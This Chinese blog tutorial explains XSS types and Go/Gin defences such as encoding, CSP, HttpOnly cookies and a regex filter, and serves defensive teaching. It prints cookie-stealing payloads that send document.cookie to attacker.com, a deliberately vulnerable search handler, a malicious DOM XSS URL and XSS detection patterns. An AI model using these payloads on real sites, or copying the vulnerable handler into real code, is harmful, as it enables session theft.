Web应用安全系列(四): XSS跨站脚本攻击 - MingLezのBlog

Web应用安全系列(四): XSS跨站脚本攻击

w4w

1. 什么是XSS?

XSS (Cross-Site Scripting) 是一种代码注入攻击,攻击者通过在Web页面中注入恶意脚本,使这些脚本在其他用户的浏览器中执行,从而窃取敏感信息、劫持用户会话或进行其他恶意操作。

为什么叫XSS而不是CSS? 为了避免与层叠样式表(Cascading Style Sheets)混淆。

2. XSS攻击类型

2.1 存储型XSS (Stored XSS)

最危险的类型,恶意脚本被永久存储在服务器上(如数据库、文件系统),每个访问用户都会执行。

攻击流程:

CodeBlock Loading...

攻击示例:

CodeBlock Loading...

2.2 反射型XSS (Reflected XSS)

恶意脚本通过URL参数传递,服务器将其反射回响应页面中,脚本在受害者浏览器中执行。

攻击流程:

CodeBlock Loading...

脆弱代码示例:

CodeBlock Loading...

2.3 DOM型XSS (DOM-based XSS)

攻击完全发生在客户端,恶意脚本通过修改页面DOM环境来执行,服务器端无法检测。

攻击示例:

CodeBlock Loading...

3. XSS的危害

🔓 窃取Cookie和会话Token: 劫持用户账户
🎭 冒充用户身份: 以用户名义执行操作
🕵️ 记录键盘输入: 窃取密码、信用卡等敏感信息
🎣 钓鱼攻击: 在页面中插入虚假登录表单
🦠 传播蠕虫: 在社交网络中自动复制传播
📍 获取地理位置: 利用浏览器API获取用户位置
💻 加密货币挖矿: 利用受害者计算资源

4. 防护策略

4.1 输入验证与过滤

永远不要信任用户输入,对所有输入进行严格验证:

CodeBlock Loading...

使用示例:

CodeBlock Loading...

4.2 输出编码

根据上下文使用正确的编码方式:

CodeBlock Loading...

在模板中使用安全编码:

CodeBlock Loading...

4.3 内容安全策略 (CSP)

CSP是一个额外的安全层,用于检测和缓解某些类型的攻击,包括XSS和数据注入攻击。

Gin框架实现CSP:

CodeBlock Loading...

CSP指令说明:

指令	说明	示例
`default-src`	默认策略	`'self'` 只允许同源
`script-src`	JavaScript来源	`'self' https://cdn.example.com`
`style-src`	CSS来源	`'self' 'unsafe-inline'`
`img-src`	图片来源	`'self' https: data:`
`connect-src`	AJAX/WebSocket来源	`'self' https://api.example.com`
`frame-ancestors`	可嵌入此页面的源	`'none'` 禁止被iframe嵌入

防止JavaScript访问敏感Cookie:

CodeBlock Loading...

4.5 使用安全的DOM操作

在前端避免使用危险的API:

CodeBlock Loading...

4.6 实施Web应用防火墙(WAF)

使用WAF检测和阻止XSS攻击:

CodeBlock Loading...

5. 防护实战案例

5.1 评论系统的XSS防护

CodeBlock Loading...

5.2 搜索功能的XSS防护

CodeBlock Loading...

6. XSS防护总结

防护清单:

✅ 对所有用户输入进行验证和过滤
✅ 根据输出上下文使用正确的编码(HTML/JavaScript/URL)
✅ 实施严格的内容安全策略(CSP)
✅ 使用HttpOnly和Secure标志保护Cookie
✅ 避免在前端使用危险的DOM API
✅ 使用现代框架的自动转义功能
✅ 部署Web应用防火墙进行深度防御
✅ 定期进行安全扫描和渗透测试

核心防护原则:

输入验证
- 验证所有用户输入的格式和内容
输出编码
- 根据上下文正确编码输出
CSP策略
- 限制脚本执行来源
Cookie保护
- 使用HttpOnly和Secure属性
框架支持
- 利用现代框架的内置保护

总结

XSS攻击是Web应用面临的最普遍威胁之一,但通过多层防御策略可以有效防护:

记住: XSS防护不是单一措施,而是多层防御的组合。每一层防护都可能被绕过,但多层组合能大大提高攻击难度。

1. 什么是XSS?

为什么叫XSS而不是CSS? 为了避免与层叠样式表(Cascading Style Sheets)混淆。

2. XSS攻击类型

2.1 存储型XSS (Stored XSS)

最危险的类型,恶意脚本被永久存储在服务器上(如数据库、文件系统),每个访问用户都会执行。

攻击流程:

1. 攻击者在评论区提交: <script>alert('XSS')</script>
2. 服务器未过滤直接存入数据库
3. 其他用户访问该页面时,脚本从数据库读取并执行
4. 攻击者可窃取所有访问用户的Cookie、会话信息

CodeBlock Loading...

攻击示例:

<!-- 攻击者提交的恶意评论 -->
<script>
  // Steal cookies and send to attacker's server
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

<!-- 或使用img标签隐蔽攻击 -->
<img src="x" onerror="fetch('https://attacker.com/steal?data=' + document.cookie)">

CodeBlock Loading...

2.2 反射型XSS (Reflected XSS)

恶意脚本通过URL参数传递,服务器将其反射回响应页面中,脚本在受害者浏览器中执行。

攻击流程:

1. 攻击者构造恶意URL: 
   https://example.com/search?q=<script>alert('XSS')</script>
   
2. 受害者点击链接(可能通过钓鱼邮件诱导)

3. 服务器返回页面: "搜索结果: <script>alert('XSS')</script>"

4. 脚本在受害者浏览器执行

CodeBlock Loading...

脆弱代码示例:

// VULNERABLE CODE
func Search(c *gin.Context) {
    query := c.Query("q")  // Get user input directly
    
    // Directly embed user input in HTML - DANGEROUS!
    html := fmt.Sprintf(`
        <html>
        <body>
            <h1>Search results for: %s</h1>
        </body>
        </html>
    `, query)
    
    c.Data(200, "text/html; charset=utf-8", []byte(html))
}

CodeBlock Loading...

2.3 DOM型XSS (DOM-based XSS)

攻击完全发生在客户端,恶意脚本通过修改页面DOM环境来执行,服务器端无法检测。

攻击示例:

<!-- Vulnerable JavaScript code -->
<script>
  // Get URL parameter
  const urlParams = new URLSearchParams(window.location.search);
  const username = urlParams.get('name');
  
  // Directly insert into DOM - DANGEROUS!
  document.getElementById('welcome').innerHTML = 'Welcome, ' + username;
</script>

<!-- Malicious URL -->
https://example.com/profile?name=<img src=x onerror=alert('XSS')>

CodeBlock Loading...

3. XSS的危害

🔓 窃取Cookie和会话Token: 劫持用户账户
🎭 冒充用户身份: 以用户名义执行操作
🕵️ 记录键盘输入: 窃取密码、信用卡等敏感信息
🎣 钓鱼攻击: 在页面中插入虚假登录表单
🦠 传播蠕虫: 在社交网络中自动复制传播
📍 获取地理位置: 利用浏览器API获取用户位置
💻 加密货币挖矿: 利用受害者计算资源

4. 防护策略

4.1 输入验证与过滤

永远不要信任用户输入,对所有输入进行严格验证:

package validator

import (
    "regexp"
    "strings"
    "html"
)

// SanitizeInput removes potentially dangerous characters
func SanitizeInput(input string) string {
    // Remove null bytes
    input = strings.ReplaceAll(input, "\x00", "")
    
    // HTML escape
    input = html.EscapeString(input)
    
    return input
}

// ValidateUsername allows only alphanumeric and underscore
func ValidateUsername(username string) bool {
    match, _ := regexp.MatchString("^[a-zA-Z0-9_]{3,20}$", username)
    return match
}

// ValidateEmail validates email format
func ValidateEmail(email string) bool {
    match, _ := regexp.MatchString(`^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$`, email)
    return match
}

// RemoveHTMLTags strips all HTML tags
func RemoveHTMLTags(input string) string {
    re := regexp.MustCompile(`<[^>]*>`)
    return re.ReplaceAllString(input, "")
}

// Middleware for input sanitization
func SanitizeMiddleware() gin.HandlerFunc {
    return func(c *gin.Context) {
        // Sanitize query parameters
        for key, values := range c.Request.URL.Query() {
            for i, value := range values {
                values[i] = SanitizeInput(value)
            }
        }
        
        // Sanitize form data
        if c.Request.Method == "POST" || c.Request.Method == "PUT" {
            c.Request.ParseForm()
            for key, values := range c.Request.PostForm {
                for i, value := range values {
                    values[i] = SanitizeInput(value)
                }
            }
        }
        
        c.Next()
    }
}

CodeBlock Loading...

使用示例:

func CreateComment(c *gin.Context) {
    var req struct {
        Content string `json:"content" binding:"required,max=500"`
    }
    
    if err := c.ShouldBindJSON(&req); err != nil {
        c.JSON(400, gin.H{"error": "Invalid input"})
        return
    }
    
    // Sanitize and validate
    sanitized := validator.RemoveHTMLTags(req.Content)
    sanitized = validator.SanitizeInput(sanitized)
    
    if len(sanitized) == 0 {
        c.JSON(400, gin.H{"error": "Content cannot be empty"})
        return
    }
    
    // Save to database
    comment := Comment{Content: sanitized}
    db.Create(&comment)
    
    c.JSON(200, gin.H{"message": "Comment created successfully"})
}

CodeBlock Loading...

4.2 输出编码

根据上下文使用正确的编码方式:

package encoder

import (
    "html"
    "encoding/json"
    "net/url"
    "strings"
)

// HTMLEncode encodes string for safe embedding in HTML
func HTMLEncode(s string) string {
    return html.EscapeString(s)
}

// JSEncode encodes string for safe embedding in JavaScript
func JSEncode(s string) string {
    // Escape special characters for JavaScript context
    replacements := map[string]string{
        `\`:   `\\`,
        `"`:   `\"`,
        `'`:   `\'`,
        "\n":  `\n`,
        "\r":  `\r`,
        "\t":  `\t`,
        "<":   `\u003c`,
        ">":   `\u003e`,
    }
    
    for old, new := range replacements {
        s = strings.ReplaceAll(s, old, new)
    }
    
    return s
}

// URLEncode encodes string for safe use in URLs
func URLEncode(s string) string {
    return url.QueryEscape(s)
}

// JSONEncode safely encodes data to JSON
func JSONEncode(data interface{}) (string, error) {
    bytes, err := json.Marshal(data)
    if err != nil {
        return "", err
    }
    return string(bytes), nil
}

CodeBlock Loading...

在模板中使用安全编码:

import (
    "html/template"
    "github.com/gin-gonic/gin"
)

func RenderComment(c *gin.Context) {
    comment := getCommentFromDB()
    
    // Use html/template package which auto-escapes by default
    tmpl := template.Must(template.New("comment").Parse(`
        <div class="comment">
            <p>{{.Content}}</p>
            <span>By: {{.Author}}</span>
        </div>
    `))
    
    c.Header("Content-Type", "text/html; charset=utf-8")
    tmpl.Execute(c.Writer, comment)
}

CodeBlock Loading...

4.3 内容安全策略 (CSP)

CSP是一个额外的安全层,用于检测和缓解某些类型的攻击,包括XSS和数据注入攻击。

Gin框架实现CSP:

func SecurityHeaders() gin.HandlerFunc {
    return func(c *gin.Context) {
        // Content Security Policy
        csp := "default-src 'self'; " +
               "script-src 'self' https://trustedscripts.example.com; " +
               "style-src 'self' 'unsafe-inline' https://trustedstyles.example.com; " +
               "img-src 'self' https: data:; " +
               "font-src 'self' https://fonts.gstatic.com; " +
               "connect-src 'self' https://api.example.com; " +
               "frame-ancestors 'none'; " +
               "base-uri 'self'; " +
               "form-action 'self'"
        
        c.Header("Content-Security-Policy", csp)
        
        // Additional security headers
        c.Header("X-Content-Type-Options", "nosniff")
        c.Header("X-Frame-Options", "DENY")
        c.Header("X-XSS-Protection", "1; mode=block")
        c.Header("Referrer-Policy", "strict-origin-when-cross-origin")
        c.Header("Permissions-Policy", "geolocation=(), microphone=(), camera=()")
        
        c.Next()
    }
}

func main() {
    r := gin.Default()
    r.Use(SecurityHeaders())
    
    // ... routes ...
    
    r.Run(":8080")
}

CodeBlock Loading...

CSP指令说明:

指令	说明	示例
`default-src`	默认策略	`'self'` 只允许同源
`script-src`	JavaScript来源	`'self' https://cdn.example.com`
`style-src`	CSS来源	`'self' 'unsafe-inline'`
`img-src`	图片来源	`'self' https: data:`
`connect-src`	AJAX/WebSocket来源	`'self' https://api.example.com`
`frame-ancestors`	可嵌入此页面的源	`'none'` 禁止被iframe嵌入

防止JavaScript访问敏感Cookie:

func SetAuthCookie(c *gin.Context, token string) {
    c.SetCookie(
        "auth_token",           // name
        token,                  // value
        3600,                   // maxAge (1 hour)
        "/",                    // path
        "",                     // domain (empty = current domain)
        true,                   // secure (HTTPS only)
        true,                   // httpOnly (cannot be accessed by JavaScript)
    )
    
    c.SetSameSite(http.SameSiteStrictMode)
}

// Even if XSS exists, attacker cannot steal this cookie via document.cookie

CodeBlock Loading...

4.5 使用安全的DOM操作

在前端避免使用危险的API:

// ❌ DANGEROUS - Never use these
element.innerHTML = userInput;
element.outerHTML = userInput;
document.write(userInput);
eval(userInput);

// ✅ SAFE - Use these instead
element.textContent = userInput;  // Automatically escapes
element.setAttribute('data-user', userInput);

// ✅ SAFE - Create elements programmatically
const div = document.createElement('div');
div.textContent = userInput;
document.body.appendChild(div);

// ✅ SAFE - Use modern frameworks (React, Vue, Angular)
// They automatically escape output by default

CodeBlock Loading...

4.6 实施Web应用防火墙(WAF)

使用WAF检测和阻止XSS攻击:

package waf

import (
    "regexp"
    "strings"
    "bytes"
    "io"
    "github.com/gin-gonic/gin"
)

var xssPatterns = []*regexp.Regexp{
    regexp.MustCompile(`(?i)<script[^>]*>.*?</script>`),
    regexp.MustCompile(`(?i)<iframe[^>]*>.*?</iframe>`),
    regexp.MustCompile(`(?i)on\w+\s*=`),  // Event handlers like onclick=
    regexp.MustCompile(`(?i)javascript:`),
    regexp.MustCompile(`(?i)<img[^>]+src[^>]*=.*?onerror`),
    regexp.MustCompile(`(?i)eval\s*\(`),
    regexp.MustCompile(`(?i)expression\s*\(`),
}

func WAFMiddleware() gin.HandlerFunc {
    return func(c *gin.Context) {
        // Check query parameters
        for _, values := range c.Request.URL.Query() {
            for _, value := range values {
                if containsXSS(value) {
                    c.JSON(400, gin.H{"error": "Potential XSS detected"})
                    c.Abort()
                    return
                }
            }
        }
        
        // Check POST body if applicable
        if c.Request.Method == "POST" || c.Request.Method == "PUT" {
            body, _ := c.GetRawData()
            if containsXSS(string(body)) {
                c.JSON(400, gin.H{"error": "Potential XSS detected in request body"})
                c.Abort()
                return
            }
            // Restore body for further processing
            c.Request.Body = io.NopCloser(bytes.NewBuffer(body))
        }
        
        c.Next()
    }
}

func containsXSS(input string) bool {
    input = strings.ToLower(input)
    
    for _, pattern := range xssPatterns {
        if pattern.MatchString(input) {
            return true
        }
    }
    
    return false
}

CodeBlock Loading...

5. 防护实战案例

5.1 评论系统的XSS防护

package comment

import (
    "github.com/gin-gonic/gin"
    "html"
    "regexp"
    "strings"
    "time"
)

type Comment struct {
    ID        uint      `json:"id"`
    UserID    uint      `json:"user_id"`
    Content   string    `json:"content"`
    CreatedAt time.Time `json:"created_at"`
}

// CreateComment with full XSS protection
func CreateComment(c *gin.Context) {
    var req struct {
        Content string `json:"content" binding:"required,max=500"`
    }
    
    if err := c.ShouldBindJSON(&req); err != nil {
        c.JSON(400, gin.H{"error": "Invalid input"})
        return
    }
    
    // 1. Remove HTML tags
    content := stripHTMLTags(req.Content)
    
    // 2. HTML escape
    content = html.EscapeString(content)
    
    // 3. Check for suspicious patterns
    if containsSuspiciousPatterns(content) {
        c.JSON(400, gin.H{"error": "Content contains suspicious patterns"})
        return
    }
    
    // 4. Limit length
    if len(content) > 500 {
        c.JSON(400, gin.H{"error": "Content too long"})
        return
    }
    
    // Save to database
    userID, _ := c.Get("userID")
    comment := Comment{
        UserID:  userID.(uint),
        Content: content,
    }
    
    db.Create(&comment)
    
    c.JSON(200, gin.H{
        "message": "Comment created successfully",
        "comment": comment,
    })
}

func stripHTMLTags(s string) string {
    re := regexp.MustCompile(`<[^>]*>`)
    return re.ReplaceAllString(s, "")
}

func containsSuspiciousPatterns(s string) bool {
    suspicious := []string{"javascript:", "onerror=", "onclick=", "<script"}
    for _, pattern := range suspicious {
        if strings.Contains(strings.ToLower(s), pattern) {
            return true
        }
    }
    return false
}

CodeBlock Loading...

5.2 搜索功能的XSS防护

func Search(c *gin.Context) {
    query := c.Query("q")
    
    // Sanitize search query
    query = html.EscapeString(query)
    query = strings.TrimSpace(query)
    
    if len(query) == 0 {
        c.JSON(400, gin.H{"error": "Empty search query"})
        return
    }
    
    // Limit query length
    if len(query) > 100 {
        query = query[:100]
    }
    
    // Perform search
    var results []Product
    db.Where("name LIKE ?", "%"+query+"%").Find(&results)
    
    // Return results with escaped query
    c.JSON(200, gin.H{
        "query":   query,
        "results": results,
    })
}

CodeBlock Loading...

6. XSS防护总结

防护清单:

✅ 对所有用户输入进行验证和过滤
✅ 根据输出上下文使用正确的编码(HTML/JavaScript/URL)
✅ 实施严格的内容安全策略(CSP)
✅ 使用HttpOnly和Secure标志保护Cookie
✅ 避免在前端使用危险的DOM API
✅ 使用现代框架的自动转义功能
✅ 部署Web应用防火墙进行深度防御
✅ 定期进行安全扫描和渗透测试

核心防护原则:

输入验证
- 验证所有用户输入的格式和内容
输出编码
- 根据上下文正确编码输出
CSP策略
- 限制脚本执行来源
Cookie保护
- 使用HttpOnly和Secure属性
框架支持
- 利用现代框架的内置保护

总结

XSS攻击是Web应用面临的最普遍威胁之一,但通过多层防御策略可以有效防护:

记住: XSS防护不是单一措施,而是多层防御的组合。每一层防护都可能被绕过,但多层组合能大大提高攻击难度。

Search

Web应用安全系列(四): XSS跨站脚本攻击

1. 什么是XSS?

2. XSS攻击类型

2.1 存储型XSS (Stored XSS)

2.2 反射型XSS (Reflected XSS)

2.3 DOM型XSS (DOM-based XSS)

3. XSS的危害

4. 防护策略

4.1 输入验证与过滤

4.2 输出编码

4.3 内容安全策略 (CSP)

4.4 HttpOnly和Secure Cookie

4.5 使用安全的DOM操作

4.6 实施Web应用防火墙(WAF)

5. 防护实战案例

5.1 评论系统的XSS防护

5.2 搜索功能的XSS防护

6. XSS防护总结

总结

1. 什么是XSS?

2. XSS攻击类型

2.1 存储型XSS (Stored XSS)

2.2 反射型XSS (Reflected XSS)

2.3 DOM型XSS (DOM-based XSS)

3. XSS的危害

4. 防护策略

4.1 输入验证与过滤

4.2 输出编码

4.3 内容安全策略 (CSP)

4.4 HttpOnly和Secure Cookie

4.5 使用安全的DOM操作

4.6 实施Web应用防火墙(WAF)

5. 防护实战案例

5.1 评论系统的XSS防护

5.2 搜索功能的XSS防护

6. XSS防护总结

总结